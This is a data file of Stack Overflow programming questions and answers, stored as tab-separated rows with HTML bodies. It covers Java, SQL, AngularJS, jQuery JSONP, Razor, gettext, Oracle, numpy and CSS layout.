24488558	0	 <p>Apache tika can transform PDF files into structured data for you to feed into the solr server . </p> <p>My approach to your problem would be to index each pdf per page, with extra fields linking to the chapter, text title (or absolute path, or both) and page number.Using this data you can then open the relevant document at the relevant page. </p> <p>Read more about tika here : <a href="http://tika.apache.org/" rel="nofollow">http://tika.apache.org/</a></p>
24171668	0	 <p>You can launch your softwares from the terminal binaries themselves to get a new terminal for each. It would depend on the terminal you use. With <code>konsole</code> you can have</p> <pre><code>konsole -e command [args] ... </code></pre> <p>With gnome-terminal you do:</p> <pre><code>gnome-terminal -e command [args] &amp; </code></pre> <p>With xterm:</p> <pre><code>xterm -e command [args] &amp; </code></pre> <p>Probably refer as well to a similar thread: <a href="http://stackoverflow.com/questions/18669866/run-multiple-sh-scripts-from-one-sh-script-centos">Run multiple .sh scripts from one .sh script? CentOS</a></p>
8642024	0	 <p>You could wrap the Thread's <code>Runnable</code> inside another <code>Runnable</code> that would decrement the counter:</p> <pre><code>Thread createThread(final Runnable r) { return new Thread(new Runnable() { @Override public void run() { try { r.run(); } finally { Foo.decrementCounter(); } } }); } </code></pre> <p>The problem with this is if the <code>Runnable r</code> creates multiple instances of Foo. You'd have to somehow track how many instances the thread created. You could do so using a <code>ThreadLocal&lt;Integer&gt;</code>, and then call <code>decrementCounter()</code>, in the <code>finally</code> block, the appropriate number of times. See below for a complete, working example.</p> <p>If you can avoid it, you should not rely on the behavior of the GC as it is quite impredictable! If you insist into dealing with the Garbage Collector, then you should use reference queues -- and to use it properly, you should study the concept of <em>object reachability</em>: <a href="http://docs.oracle.com/javase/7/docs/api/index.html?java/lang/ref/package-summary.html" rel="nofollow">http://docs.oracle.com/javase/7/docs/api/index.html?java/lang/ref/package-summary.html</a></p> <p>As a final note, if I were interviewing you, I'd try to make you realize that the code you propose does not perfectly satisfy the requirements: you'd have to make the class <code>final</code>, or the method <code>incrementCount()</code> <code>final</code> or <code>private</code>. Or, easier, you could increment the count in an instance initializer block: no need to think about methods being overriden in subclasses or newly added constructors not incrementing the count.</p> <hr> <p>A complete example:</p> <pre><code>public class Foo { private static final AtomicInteger liveInstances = new AtomicInteger(0); private static final ThreadLocal&lt;Integer&gt; threadLocalLiveInstances = new ThreadLocal&lt;Integer&gt;() { @Override protected Integer initialValue() { return 0; } } // instance initializer (so you won't have problems with multiple constructors or virtual methods called from them): { liveInstances.incrementAndGet(); threadLocalLiveInstances.set(threadLocalLiveInstances.get() + 1); } public static int getTotalLiveInstances() { return liveInstances.get(); } public static int getThreadLocalLiveInstances() { return threadLocalLiveInstances.get(); } public static void decrementInstanceCount() { threadLocalLiveInstances.set(threadLocalLiveInstances.get() - 1); liveInstaces.decrementAndGet(); } // ... rest of the code of the class ... } class FooCountingThreadFactory implements ThreadFactory { public Thread newThread(final Runnable r) { return new Thread(new Runnable() { @Override public void run() { try { r.run(); } finally { while (Foo.getThreadLocalLiveInstances() &gt; 0) { Foo.decrementInstanceCount(); } } } }); } } </code></pre> <p>This way, you can feed this ThreadFactory to a thread pool, for example, or you can use it yourself when you want to build a thread: <code>(new FooCountingThreadFactory()).newThread(job);</code></p> <p>Anyways, there's still a problem with this approach: if a thread creates instances of <code>Foo</code> and stores them on global scope (read: <code>static</code> fields), then these instances will still be alive after the thread has died, and the counter will all the same be decremented to 0.</p>
6118382	0	TextView not displaying data from xml file <p>I am trying to retrieve some data from my xml file. Below is the code which should be working but in this case it doesn't. I am not getting errors but data just doesn't gets displayed.Please review this code and tell me what's wrong here. (I am trying to look at an id, if it matches a certain digit than display text) Thanks.</p> <pre><code>String stringXmlContent; try { stringXmlContent = getEventsFromAnXML(this); tv.setText(stringXmlContent); } catch (XmlPullParserException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } button1.setOnClickListener(this); } private String getEventsFromAnXML(Activity activity)throws XmlPullParserException, IOException { StringBuffer stringBuffer = new StringBuffer(); String attVal = null; String desc; Resources res = activity.getResources(); XmlResourceParser xrp = res.getXml(R.xml.myxml); try { xrp.next(); int eventType = xrp.getEventType(); while (eventType != XmlPullParser.END_DOCUMENT) { if(eventType == XmlPullParser.START_DOCUMENT) { stringBuffer.append(" "); } if(eventType == XmlPullParser.START_TAG) { if(xrp.getName().equals("Number")){ attVal = xrp.getAttributeValue(0); } } else if(eventType == XmlPullParser.TEXT) { if(xrp.getName().equals("Description") &amp;&amp; attVal.equals("2")){ stringBuffer.append(" " + xrp.getText()); } } } } catch (XmlPullParserException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return stringBuffer.toString(); </code></pre>
25282476	0	 <p>Most simple, without caring about delegates</p> <pre><code>if(textBox1.InvokeRequired == true) textBox1.Invoke((MethodInvoker)delegate { textBox1.Text = "Invoke was needed";}); else textBox1.Text = "Invoke was NOT needed"; </code></pre>
36702631	0	 <p>A few recommendations I would like to make (based on the app we've built which also uses Table Storage exclusively).</p> <ul> <li>Introduce a new entity called <code>Account</code> or <code>Subscription</code>. You can use a GUID to uniquely identify an account.</li> <li>Along with user information (user id, password etc.) in the user's table, store the account information as well. So at all times when you're authenticating a user, you're making point queries. Also store the user's role (Member or Owner) in the user's table. Doing this way, you would know if the user is an individual user or part of a team. If the user is part of a team, then what the role of that user in that team (Owner or Member).</li> <li>Store 2 copies of user data. First copy is what you're using now. Second copy essentially associate a user with an account where the PartitionKey of the second copy is the account id and row key is the PartitionKey of the first copy. This will help you find the users in a particular team.</li> </ul> <p><strong>Individual User Login Scenario</strong></p> <p>So an individual user logs in using their username/password. You retrieve the information about the user and there you find out that the user is an individual user based on the account type.</p> <p><strong>Team Owner Login Scenario</strong> So when a team owner logs in, based on the login you will find out that the user is a team owner. If the team owner needs to find the list of all the users in the team, you do another query (it will be the PartitionKey query only) which will give you information about all the users in the team.</p> <p><strong>Team User Login Scenario</strong></p> <p>So when a team user logs in, based on the login you will find out that the user is a team user. Since the user is a team user, he/she need not query the table to find out about other users in the team. Even if they do, you will do another query (same as team owner query) to get the list of users in a team.</p>
254416	0	 <p>An EXISTS operator might be faster than the subquery:</p> <pre><code>SELECT t1.Index, MIN(t1.[Date]), MAX(t1.[Date]) FROM myTable t1 WHERE EXISTS (SELECT * FROM myTable t2 WHERE t2.Index = t1.Index AND t2.[Date] &gt;= '1/1/2000' AND t2.[Date] &lt; '1/1/2001') GROUP BY t1.Index </code></pre> <p>It would depend on table size and indexing I suppose. I like G Mastros HAVING clause solution too.</p> <p>Another important note... if your date is actually a DATETIME and there is a time component in any of your dates (either now or in the future) you could potentially miss some results if an index had a date of 12/31/2000 with any sort of time besides midnight. Just something to keep in mind. You could alternatively use YEAR([Date]) = 2000 (assuming MS SQL Server here). I don't know if the DB would be smart enough to use an index on the date column if you did that though.</p> <p>EDIT: Added GROUP BY and changed date logic thanks to the comment</p>
9848319	0	Is there a more succinct Linq expression for inserting a constant between every item in a list? <p>Here's what I have at the moment:</p> <pre><code>public List&lt;double&gt; GetStrokeDashArray(List&lt;double&gt; dashLengths, double gap) { return dashLengths .SelectMany(dl =&gt; new[] { dl, gap }) .Take(dashLengths.Count * 2 - 1) .ToList(); } </code></pre> <p>Results for <code>GetStrokeDashArray(new List&lt;double&gt; { 2, 4, 7, 11, 16 }, 2);</code></p> <pre><code>2, 2, 4, 2, 7, 2, 11, 2, 16 </code></pre>
39335784	0	 <p>You can use <a href="https://docs.angularjs.org/api/ng/type/form.FormController" rel="nofollow">$setPristine()</a> for resetting the field state.</p> <p>HTML:</p> <pre><code>&lt;form name="myForm"&gt; &lt;input type="text" ng-model="data.test" ng-disabled="data.check"&gt; &lt;input type="text" ng-model="data.test2" ng-disabled="data.check"&gt; &lt;input type="checkbox" ng-change="reset()" ng-model="data.check" value="one"&gt; &lt;/form&gt; </code></pre> <p>JS:</p> <pre><code>$scope.resetForm = function() { $scope.data = { "test": "", "test2": "" }; // 'myForm' is the name of the &lt;form&gt; tag. $scope.myForm.$setPristine(); } </code></pre>
29270220	0	 <p>as mentioned above, just printing will invoke the toString method of the object. As this method has not be overriden, the toString method of Object gets invoked. The exact output is specified in the javadocs <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html#toString()" rel="nofollow">http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html#toString()</a></p> <p>which says </p> <pre><code> getClass().getName() + '@' + Integer.toHexString(hashCode()) </code></pre> <p>i.e. it is the class name + "@" + the HexString of the objects hashCode() method</p>
29756966	0	Nested ui-view animations <p>I'm struggling to create separate animations on two ui-view elements simultaneously (or any animations), using ui router.</p> <p>My basic site layout is: </p> <ul> <li>main.html (has one ui-view, which is faded in) <ul> <li>customerMain.html which sits in "main" </li> </ul></li> </ul> <p><strong>main.html</strong></p> <pre><code>&lt;div id="work-container"&gt; &lt;div class="menu"&gt; &lt;!-- some ul/li stuff --&gt; &lt;/div&gt; &lt;div class="content"&gt; &lt;div ui-view class="view-animate-main-container"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>customerMain.html</strong></p> <pre><code>&lt;div id="customer-work-container"&gt; &lt;div class='menu'&gt; &lt;div ui-view='menu' class='view-animate-main-container'&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="content"&gt; &lt;div ui-view='content' class="view-animate-sub-container"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>CustomerModule</strong></p> <pre><code>angular.module('btApp.crm.customers', ['ui.router']) .config(['$stateProvider', '$urlRouterProvider', function config($stateProvider, $urlRouterProvider) { $stateProvider .state('main.customerMain', { abstract: true, templateUrl: '/ng/crm/customers/templates/customerMain.html', }) .state('main.customerMain.overview', { url: '/customer/:id', views: { 'menu@main.customerMain': { templateUrl: "/ng/crm/customers/templates/menu.html", controller: 'CRMCustomerMenuCtrl' }, 'content@main.customerMain': { templateUrl: "/ng/crm/customers/templates/overview.html", controller: 'CRMCustomerOverviewCtrl' }, } }) }]); </code></pre> <p>In a nutshell, i'm trying to perform different animations on the two content views, but everything i've tried doesn't seem to take effect, even if i remove all the parent animations there is still no animations being applied to the views. I'm not entirely sure if ng-enter is being added, it's too quick to see.</p> <p>What i originally thought was happening was the fade-in animation was being applied to the main ui-view, which in then turn also runs while loading the child ui-views thus you don't see the animations, however, removing parent animations and delaying child animations, still nothing.</p> <p>Would welcome any pointers. </p>
26757900	0	 <p>This is because you are fixing the content that pushes "tasks-column" to the right. The simple way to do what you want is just to move "info" inside col-md-4, like this:</p> <pre><code>&lt;div class="row"&gt; &lt;div class="col-md-4"&gt; &lt;div class="info"&gt; &lt;!--some fixed Markup --&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-md-8 tasks-column"&gt; &lt;!--some Markup --&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Hope this helps!</p>
7431892	0	$.getJSON just not working for me <p>I've read in numerous places that adding <code>&amp;callback=?</code> to the URL in $.getJSON will allow cross-domain JSON fetching. (e.g. see: <a href="http://www.ibm.com/developerworks/library/wa-aj-jsonp1/" rel="nofollow">http://www.ibm.com/developerworks/library/wa-aj-jsonp1/</a>) But it's just not working for me.</p> <p>Here's my form:</p> <pre><code> &lt;form id="commentForm_pub4101" class="commentForm" action="/SubmitComment" method="POST"&gt; &lt;h3&gt;Your comment:&lt;/h3&gt; &lt;div class="commentFormTopData commentFormRow"&gt; &lt;label for="Commenter"&gt;your name&lt;/label&gt; &lt;input class="commentFormCommenter" id="Commenter" name="Commenter" type="text" value="" /&gt; &lt;label for="Email"&gt;e-mail&lt;/label&gt; &lt;input class="commentFormEmail" id="Email" name="Email" type="text" value="" /&gt; &lt;/div&gt; &lt;div class="commentFormBody commentFormRow"&gt; &lt;label for="Body"&gt;comment&lt;/label&gt; &lt;textarea class="commentFormBody" cols="20" id="Body" name="Body" rows="2"&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>Here's my jQuery: </p> <pre><code>$('form[action$="SubmitComment"]').submit(function (event) { event.preventDefault(); $.getJSON('http://localhost/Comments/index.asp?Title=TESTTitle&amp;Commenter=TESTCommenter&amp;Email=TESTemail&amp;Body=TESTBody&amp;PublicationId=TESTPublicationId&amp;callback=?', function (data2) { alert(data2.Title); } ); }); </code></pre> <p>The target URL is a classic-ASP script (don't ask why -- it's complicated), using the JSON_2.0.4.asp library to return a JSON result. I don't think that's related to the problem, because here's the returned result of a direct browser-call to the URL:</p> <pre><code>{"Commenter":"TESTCommenter","Email":"TESTemail","Body":"TESTBody","PublicationId":"TESTPublicationId","Title":"TESTTitle"} </code></pre> <p>But if you insist, here's the code (it's test at this point): </p> <pre><code>&lt;!--#include file="JSON_2.0.4.asp"--&gt; &lt;% Dim body: body = Request("") Dim jsa: Set jsa = jsObject() jsa("Commenter") = Request("Commenter") jsa("Email") = Request("Email") jsa("Body") = Request("Body") jsa("PublicationId") = Request("PublicationId") jsa("Title") = Request("Title") jsa.Flush %&gt; </code></pre> <p>...So when I put all this test code together .... no love. No alert window with 'TESTTitle' in it.</p> <p>What am I doing wrong??</p>
40977799	0	 <p>The date format provided is insufficient to do parsing.</p> <p>Ruby can parse string dates so long as the format complies with certain rules.</p> <p>While using hyphens <code>-</code>, inclusion of a day is mandatory.</p> <p>This is because typically hyphenated date formats include the day.</p> <p>Fortunately, if you're willing or able to change the format you can do the following:</p> <pre><code>date = '2016/6' DateTime.parse(date) =&gt; Wed, 01 Jun 2016 00:00:00 +0000 </code></pre> <p>Otherwise I would just append the first to your dates.</p> <pre><code>date = '2016-6' + '-1' DateTime.parse(date) =&gt; Wed, 01 Jun 2016 00:00:00 +0000 </code></pre> <p>Now you can do typical comparison stuff:</p> <pre><code>date1 = ... date2 = ... case date1 &lt;=&gt; date2 when -1 # date1 is before date2 when 1 # date1 is after date2 when 0 # date1 is equal to date2 </code></pre>
16483525	0	 <p>This is because you are outputting a numeric field. If you look at your HTML you will see that you have something like this:</p> <pre><code>&lt;input type="number" ... /&gt; </code></pre> <p>By defining the type as a numbber, the browser knows what to expect and it will give you a generic message. This is part of Html 5 spec. </p> <p>If you want to override the default behavior you could do this:</p> <pre><code>@Html.TextBoxFor(model =&gt; model.residentialExperience, new { @type = "text" }) </code></pre>
12663967	0	Accessing Facebook images over HTTPS <p>We're serving a Facebook feed in our site, which includes images such as profile pictures that are served off Facebook's cdn. Our site is served over HTTPS, and we generally use protocol-relative urls when linking to outside images. However, the facebook images were not showing up. After digging, i noticed that https links pointing to facebook cdn images throw an SSL error because the Facebook CDN url doesn't match the Akamai URL associated with their certificates. </p> <p>Compare:<br> <a href="http://profile.ak.fbcdn.net/hprofile-ak-prn1/50164_1132339922_583434524_n.jpg" rel="nofollow">http://profile.ak.fbcdn.net/hprofile-ak-prn1/50164_1132339922_583434524_n.jpg</a><br> <a href="https://profile.ak.fbcdn.net/hprofile-ak-prn1/50164_1132339922_583434524_n.jpg" rel="nofollow">https://profile.ak.fbcdn.net/hprofile-ak-prn1/50164_1132339922_583434524_n.jpg</a></p> <p>This makes using HTTPS or protocol-relative urls for facebook images impossible to access as image sources, and so makes embedding Facebook images into HTTPS sites impossible without triggering mixed content warnings.</p> <p>Has anyone run into this?</p>
36084938	0	ReSharper intermittently showing red errors for valid Razor code <p>When editing a CSHTML page, ReSharper is intermittedly showing some valid Razor syntax in red indicating an error. The syntax is red when I open the file, turns normal when I make an edit, then turns red again after a save:</p> <p><a href="https://i.stack.imgur.com/QciBg.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QciBg.gif" alt="ReSharper CSHTML error"></a></p> <p>Even when red, the code builds successfully and ReSharper even gives correct information about the syntax on hover:</p> <p><a href="https://i.stack.imgur.com/nG6OU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/nG6OU.png" alt="enter image description here"></a> </p> <p>My environment is:</p> <ul> <li>ReSharper 10.0.2</li> <li>Visual Studio Enterprise 2015 Update 1</li> <li>ASP.NET 4.5</li> <li>MVC 5</li> </ul> <p>I have tried the solutions offered in other questions (e.g. <a href="http://stackoverflow.com/questions/15713167/resharper-can-not-resolve-symbol-even-when-project-builds">Resharper &quot;can not resolve symbol&quot; even when project builds</a>, <a href="http://stackoverflow.com/questions/29898607/resharper-is-suddenly-showing-red-for-razor-syntax">Resharper is suddenly showing red for Razor syntax</a>) like Suspending/Resuming ReSharper, clearing caches, etc. I even tried reinstalling ReSharper entirely but none of that helped.</p> <p>Potentially relevant (?) is that I recently installed MVC 3 and MVC 4 for other projects, but I have since uninstalled them again.</p> <p>Any suggestions for what might be causing this? Could it be a ReSharper bug somehow?</p> <p><strong>UPDATE:</strong></p> <p>This actually only happends when a ReSharper code cleanup is run and then a save is made. I had an extension which did this automatically on every save, but having disabled that the actual flow is:</p> <ul> <li>Make edits - <strong><em>OK</em></strong></li> <li>Save - <strong><em>OK</em></strong></li> <li>Clean up - <strong><em>OK</em></strong></li> <li>Save - <strong><em>RED</em></strong></li> </ul> <p>I am using the <em>Default: Full Cleanup</em> profile.</p>
16627512	0	 <p>If you need information for more than the last 100 queries, you will simply need to collect existing data every 100 queries. I have implemented the latter feature in PHP PDO.</p> <p><a href="https://github.com/gajus/doll" rel="nofollow">https://github.com/gajus/doll</a></p> <p>This is an application layer solution.</p>
2334327	0	What is the linq equivalent to the SQL IN operator <p>With linq I have to check if a value of a row is present in an array.<br> The equivalent of the sql query:</p> <pre><code>WHERE ID IN (2,3,4,5) </code></pre> <p>How can I do?</p>
5364317	0	 <p>Seems like a job for data structure called <code>multiset</code>.</p> <pre><code>Multiset&lt;Integer&gt; mp = HashMultiset.create(); mp.addAll(Arrays.asList(new Integer[] { 3, 3, 3, 1, 5, 8, 11, 4, 5 })); </code></pre> <p>Standard JDK 6 is primitive and do not contain <code>multiset</code>. If you do not want to rewrite it, you can use preexisting library like Google Guava-libraries or Apache Commons. </p> <p>For example with Guava-libraries you can</p> <pre><code> for (Integer i : mp.elementSet()) System.out.println(i + " is contained " + mp.count(i) + " times."); </code></pre> <p>And this would output:</p> <pre><code>1 is contained 1 times. 3 is contained 3 times. 4 is contained 1 times. 5 is contained 2 times. 8 is contained 1 times. 11 is contained 1 times. </code></pre>
26230390	0	 <p>I suggest that you still use <code>select</code> but go with Angular-UI's <code>ui-select</code>:</p> <p><a href="https://github.com/angular-ui/ui-select" rel="nofollow">Angular-UI ui-select</a></p> <p>It's a wrapper for and AngularJS native implementation of <a href="http://ivaynberg.github.io/select2/" rel="nofollow">Select2</a></p>
20503552	0	 <p>If waiting and upgrading the gsa software to v 7.2,.coming mid December is an option you will have wild card search built in.</p> <p>Otherwise you have to dig deeper. A possible option is a document filter. If you are interested in that option I might be able to help.</p> <p>I have developed such a document filter.</p>
16027009	0	OracleConnectionStringBuilder Exception <p>I am using Oracle.DataAccess.Client to access to the database. It works fine all the time, then all of a sudden, I will </p> <blockquote> <p>The type initializer for 'Oracle.DataAccess.Client.OracleConnectionStringBuilder' threw an exception. Inner exception: Configuration system failed to initialize</p> </blockquote> <p>from this line of command</p> <blockquote> <p>OracleConnectionStringBuilder strBuilder = new OracleConnectionStringBuilder();</p> </blockquote>
16229750	0	Javascript Causes DOM Elements to Be Deleted <p>This is probably just another instance of me staring at the code for too long and missing something important. Basically, I have a script that in WebKit when a .click (jQuery) event occurs, fills another with the content of clicked item. However, for some reason, clicking multiple times upon an item causes the DOM element to be deleted. Any ideas? JSFiddle with code samples linked below.</p> <p>Here's the function that I think is the culprit:</p> <pre><code>$(".vote-divs .vote-div").click(function () { $(".vote-none").hide() $(".step-2-column-left .vote-div").each(function () { $(this).hide(); }); $("#" + $(this).attr("id") + "-s").show(); $(".confirm-s").each(function () { $(this).hide(); }); if ($(this).attr("id") == "vote-grow") { $("#donation-vote-for").val("Grow"); $("#confirm-grow-s").show(); } else if ($(this).attr("id") == "vote-stache") { $("#donation-vote-for").val("Stache"); $("#confirm-stache-s").show(); } else if ($(this).attr("id") == "vote-shave") { $("#donation-vote-for").val("Shave"); $("#confirm-shave-s").show(); } else if ($(this).attr("id") == "vote-mutton") { $("#donation-vote-for").val("Mutton"); $("#confirm-mutton-s").show(); } else if ($(this).attr("id") == "vote-manchu") { $("#donation-vote-for").val("Manchu"); $("#confirm-manchu-s").show(); } console.log(event.target); $(".vote-none").html(event.target); goTo("3"); }); </code></pre> <p><a href="http://jsfiddle.net/wrVGQ/" rel="nofollow" title="JSFiddle">JSFiddle</a></p>
30045914	0	Can't get the text value of linkbutton in gridview <p>This is my markup:-</p> <pre><code> &lt;asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" Width="245px" onrowcommand="GridView1_RowCommand" &gt; &lt;Columns&gt; &lt;asp:TemplateField&gt; &lt;ItemStyle BackColor="#CCCCCC" ForeColor="Black" Width="250px" HorizontalAlign="Center" BorderStyle="None" /&gt; &lt;ItemTemplate&gt; &lt;asp:LinkButton ID="userList" runat="server" CommandName="Select" CommandArgument ='&lt;%# Container.DataItemIndex %&gt;' Text='&lt;%# Bind("users") %&gt;'&gt;&lt;/asp:LinkButton&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;/asp:GridView&gt; </code></pre> <p>And in the codebehind, I am trying to get the current row's text value, but can't seem to get it;</p> <p>it returns "".</p> <pre><code> protected void GridView1_RowCommand(object sender, GridViewCommandEventArgs e) { int rowValue = Convert.ToInt32(e.CommandArgument.ToString()); GridView1.SelectedIndex = rowValue; string test = GridView1.SelectedRow.Cells[0].Text; } </code></pre>
24791964	0	 <p>This code is not very elegant, but it does the job.</p> <pre><code>clear input obs v2 v3 v4 v5 v6 1 . 3 . . 1 2 2 . . 4 5 3 . 7 . . . 4 1 . 1 . 4 end gen strL nonmiss="" foreach var of varlist v2-v6 { replace nonmiss=nonmiss+" "+"`var'" if !missing(`var') } list nonmiss </code></pre>
39065294	0	Audio only room based WebRTC example with node.js <p>I'm looking for a simple audio only example which I can use to communicate on a isolated LAN. </p> <p>I'm looking for a room based example so I can measure the performance of the WebRTC app with multiple calls at the same time.</p>
26628878	1	Why is add and assign (+=) behaving strangely with numpy.ndarrays? <p>consider the following Python code:</p> <pre><code>import numpy a = numpy.random.rand(3,4) b = numpy.random.rand(3,4) c = a c += b c/2. - (a + b)/2. </code></pre> <p>The result of the last line is not an array with zeros. However, if I do:</p> <pre><code>d = a d = d + b d/2. - (a + b)/2. </code></pre> <p>Then the result is 0, as expected. This looks strange to me, can anybody please explain this behaviour? Is it wise to use <code>+=, /=, ...</code> for numpy arrays at all? Thank you!</p> <p>(This is only a minimal example, I have to add up several arrays.)</p>
22727318	0	How can I get a CAAnimation to call a block every animation tick? <p>Can I somehow have a block execute on every "tick" of a CAAnimation? It could possibly work like the code below. If there's a way to do this with a selector, that works too.</p> <pre><code>NSString* keyPath = @"position.x"; CGFloat endValue = 100; [CATransaction setDisableActions:YES]; [self.layer setValue:@(toVal) forKeyPath:keyPath]; CABasicAnimation *animation = [CABasicAnimation animationWithKeyPath:keyPath]; animation.duration = 1; animation.delegate = self; __weak SelfClass* wself = self; animation.eachTick = ^{ NSLog(@"Current x value: %f", [wself valueForKeyPath:keypath]); }; [self.layer addAnimation:animation forKey:nil]; </code></pre>
3634739	0	 <p>Well, that's sorting them in descending order. You could sort them in <em>ascending</em> order like this:</p> <pre><code>customers.Sort((x, y) =&gt; x.DateOfBirth.CompareTo(y.DateOfBirth)); </code></pre> <p>If that's not what you were worried about, please specify what the problem is. Saying you don't get the expected result isn't very precise...</p>
32982553	0	Reading lines from text file and null point exception <pre><code>for(File d : documents) { if(d.isFile()) count++; { BufferedReader inputStream = null; try { inputStream = new BufferedReader(new FileReader(d)); String line; while ((line = inputStream.readLine()) !=null) { //condition to check the hyphen at end of line if(line.charAt(line.length() -1) == 45) { line = line.replace(line.charAt(line.length() -1),' '); String line2 = inputStream.readLine(); line = line.trim()+line2; } System.out.println(line); } finally { try { if(inputStream != null) inputStream.close(); } catch(IOException e) { } } } // System.out.println("\n" + tokens1); //System.out.println("\n" + count); } } catch(Exception e) { System.out.println("Null point exception"); } </code></pre> <p>When I remove the <strong>condition to check hyphen</strong>, it reads all the lines in the files and displays null pointer exception at the end. When I include this condition, it reads the file but whenever it finds first empty line, it stops and throws a null pointer exception.</p>
4553155	0	localising a text using gettext <p>I have a text in English which i want to convert it into French. </p> <p>The sequence that i followed are as under:</p> <ol> <li>generate all the text using xgettext command in terminal, creating .pot file</li> <li>creating .po file from .pot file</li> <li>creating .mo file from .po file</li> </ol> <p>I have copy the .mo file in "/usr/share/locale/fr/LC_MESSAGES"</p> <p>here is my code for main.c file:</p> <pre><code>int main() { setlocale(LC_ALL,""); bindtextdomain("main","/usr/share/locale"); textdomain("main"); printf( gettext("Hello world\n")); return (0); } </code></pre> <p>When i execute the program the French version of the text is not printed in terminal. What can be the reason for this issue?</p> <p>Here is my fr.po file</p> <pre><code># French translations for GNU main package. # Copyright (C) 2010 THE GNU main'S COPYRIGHT HOLDER # This file is distributed under the same license as the GNU main package. # msgid "" msgstr "" "Project-Id-Version: GNU main 0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2010-12-29 10:14+0530\n" "PO-Revision-Date: 2010-12-29 12:21+0530\n" "Last-Translator: Lenin\n" "Language-Team: French\n" "Language: fr\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=ASCII\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n &gt; 1);\n" #: main.c:29 #, c-format msgid "Hello world\n" msgstr "Bonjour tout le monde\n" </code></pre> <p>Here is my call to msgfmt from current directory:</p> <pre><code>msgfmt -c -v -o main.mo fr.po </code></pre>
10927004	0	 <p>I found this to be a little more accurate:</p> <pre><code>SELECT owner, table_name, TRUNC(sum(bytes)/1024/1024/1024) GB FROM (SELECT segment_name table_name, owner, bytes FROM dba_segments WHERE segment_type in ('TABLE','TABLE PARTITION') UNION ALL SELECT i.table_name, i.owner, s.bytes FROM dba_indexes i, dba_segments s WHERE s.segment_name = i.index_name AND s.owner = i.owner AND s.segment_type in ('INDEX','INDEX PARTITION') UNION ALL SELECT l.table_name, l.owner, s.bytes FROM dba_lobs l, dba_segments s WHERE s.segment_name = l.segment_name AND s.owner = l.owner AND s.segment_type IN ('LOBSEGMENT','LOB PARTITION') UNION ALL SELECT l.table_name, l.owner, s.bytes FROM dba_lobs l, dba_segments s WHERE s.segment_name = l.index_name AND s.owner = l.owner AND s.segment_type = 'LOBINDEX') ---WHERE owner in UPPER('&amp;owner') GROUP BY table_name, owner HAVING SUM(bytes)/1024/1024 &gt; 10 /* Ignore really small tables */ ORDER BY SUM(bytes) desc </code></pre>
1124285	0	 <p>I think, your problem is this line:</p> <pre><code> $forwardformat = str_replace(" ","",$forward); </code></pre> <p>This only matches the space-character. Tab, Newline etc. are not replaced (and do not really show in your (html-)output when echoing the result. Thus i recommend, you try</p> <pre><code> $forwardformat = preg_replace('/\s+/','',$forward); </code></pre> <p>HTH</p> <p>Argelbargel</p>
25116634	0	Ruby/Rspec: should be_false vs should == false <p>Here's my code: </p> <pre><code>class Dictionary def entries @entries ||= {} end def add(hash) if hash.class == Hash hash.each_pair do |k, v| entries[k] = v end else makehash = {hash =&gt; nil} self.add(makehash) end @entries = entries end def keywords @entries.keys end def include?(k) if @entries == nil false elsif self.keywords.include?(k) true else false end end end </code></pre> <p>And here's the test I'm running it against:</p> <pre><code>require 'dictionary' describe Dictionary do before do @d = Dictionary.new end it 'can check whether a given keyword exists' do @d.include?('fish').should be_false end </code></pre> <p>Now, that test will fail. However, if I change it to </p> <pre><code> it 'can check whether a given keyword exists' do @d.include?('fish').should == false end </code></pre> <p>then it passes.</p> <p>How can I change my code so that <code>should be_false</code> passes instead of <code>should == false</code>? Thanks.</p>
11365207	0	How to store credentials for third party services in Rails <p>I am setting up a redirection through SendGrid for the mails sent by my rails application. However I am not really satisfied with the way I'm told to store the credentials.</p> <p>As it is specified <a href="http://docs.sendgrid.com/documentation/get-started/integrate/examples/rails-example-using-smtp/" rel="nofollow">there</a>, they suggest to overwrite ActionMailers defaults in the config/environment.rb file. I've found out that my predecessor created a initializers/smtp.rb file where he defined the previous settings, but by discovering this file, I discovered the SMTP password...</p> <p>If I modify any of these files, anuone having access to the git repository will have access to the credentials (including the front-end and back-end freelances we work with).</p> <p>I was thinking of creating a file that would stay on the server's shared folder (like the database.yml file) and that would be symlinked to the app each time we deploy thanks to capistrano.</p> <p>What do you think of it? Would it be okay to just move this initializers/smtp.rb to the server's shared folder and symlink it when deploying? </p>
25904215	0	 <p>The labels and the button should have the same parent.</p> <p>Make these changes:</p> <pre><code>add = Label(app, text="Addition").grid(row=0, column=0) sub = Label(app, text="Subtraction").grid(row=1,column=0) mul = Label(app, text="Multiplication").grid(row=0, column=1) div = Label(app, text="Division").grid(row=1, column=1) </code></pre>
25033616	0	 <p>It's not possible if you don't have control over the parent site (in this case ebay.co.uk). Protocols, domains, and ports must match if you wan't target your scripts to parent site.</p> <p>If those frames were using the same domain, this would work:</p> <pre><code>&lt;button id="totop" onclick="window.parent.parent.scrollTo(0,0)"&gt; Scroll parent to top &lt;/button&gt; </code></pre> <p>If you had control over the parent site's (ebay.co.uk) web server, you could create a reverse proxy to fool the system. For example in Apache httpd you could create a reverse proxy like this:</p> <pre><code>ProxyPass /iframe http://vi.vipr.ebaydesc.com ProxyPassReverse /iframe http://vi.vipr.ebaydesc.com </code></pre> <p>And set the iframe's src to <a href="http://ebay.co.uk/iframe" rel="nofollow">http://ebay.co.uk/iframe</a></p> <pre><code>&lt;iframe src="http://ebay.co.uk/iframe"&gt;&lt;/iframe&gt; </code></pre> <p>This would allow you to target scripts to ebay.co.uk from the iframe.</p> <p>Anyway, in this case it's impossible.</p>
